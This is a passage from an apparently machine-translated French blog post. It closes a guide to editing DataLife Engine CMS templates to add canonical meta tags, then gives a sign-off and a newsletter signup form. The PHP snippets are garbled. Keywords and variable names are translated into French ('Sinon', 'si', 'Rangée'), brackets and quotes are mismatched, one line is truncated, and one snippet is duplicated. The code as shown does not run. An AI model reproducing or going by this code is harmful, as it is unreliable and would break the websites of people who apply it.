) Sinon ($ FULL_LINK \u003d $ CONFIG ["http_home_url"]. "Index.php? \u003cbr\u003e \u003d". $ Rangée ["ID]; $ print_link \u003d $ config [" moteur / print.php? ". $ ligne [" id "]; $ courte_link \u003d" ";)

pour les versions de DLE 10.x (ainsi que pour 9,5, 9,6, 9,7 et 9.8), nous trouvons:

) Sinon ($ FULL_LINK \u003d $ CONFIG ["http_home_url"]. "Index.php? \u003cbr\u003e \u003d". $ Rangée ["ID]; $ print_link \u003d $ config [" moteur / print.php? ". $ Rangée [" ID "]; $ courte_link \u003d" "; $ link_page \u003d" "; $ news_name \u003d" ";)

) Sinon ($ FULL_LINK \u003d $ CONFIG ["http_home_url"]. "Index.php? \u003cbr\u003e \u003d". $ Rangée ["ID]; $ print_link \u003d $ config [" moteur / print.php? ". $ Rangée [" ID "]; $ courte_link \u003d" "; $ link_page \u003d" "; $ news_name \u003d" ";)

AU DESSOUS DE ajouter)

si ($ FULL_CANONICAL) ($ METATAGS. \u003d<< Html;)

Comme il était, tous;) qui a besoin, utilisation de la santé.

Quelque chose que j'ai probablement oublié de décrire dans ce poste, car les informations décrites ici ont été collectées depuis longtemps dans ma tête et non enregistrées dans le cahier. Mais si vous vous souvenez de quelque chose ou trouvez des erreurs inhabituelles sur votre site - assurez-vous d'écrire dans les commentaires, je penserai à une solution à votre problème et à l'ajouter au poste.

Merci de votre attention, d'amis, de rester en contact et de vous abonner à Blog News.

PS Je ne suis pas sûr si la partie suivante du leadership sera, car pour l'heure actuelle, tout ce qui pourrait être utile, tout ce qui pourrait être utile a déjà été décrit dans les trois parties existantes. Mais vous ne savez jamais ... tout dépend de vous et de vos questions et suggestions!

La cloche.

Il y a ceux qui ont lu cette nouvelle devant vous.
Abonnez-vous pour recevoir des articles frais.
E-mail
Nom
Nom de famille
Comment voulez-vous lire la cloche
Sans spam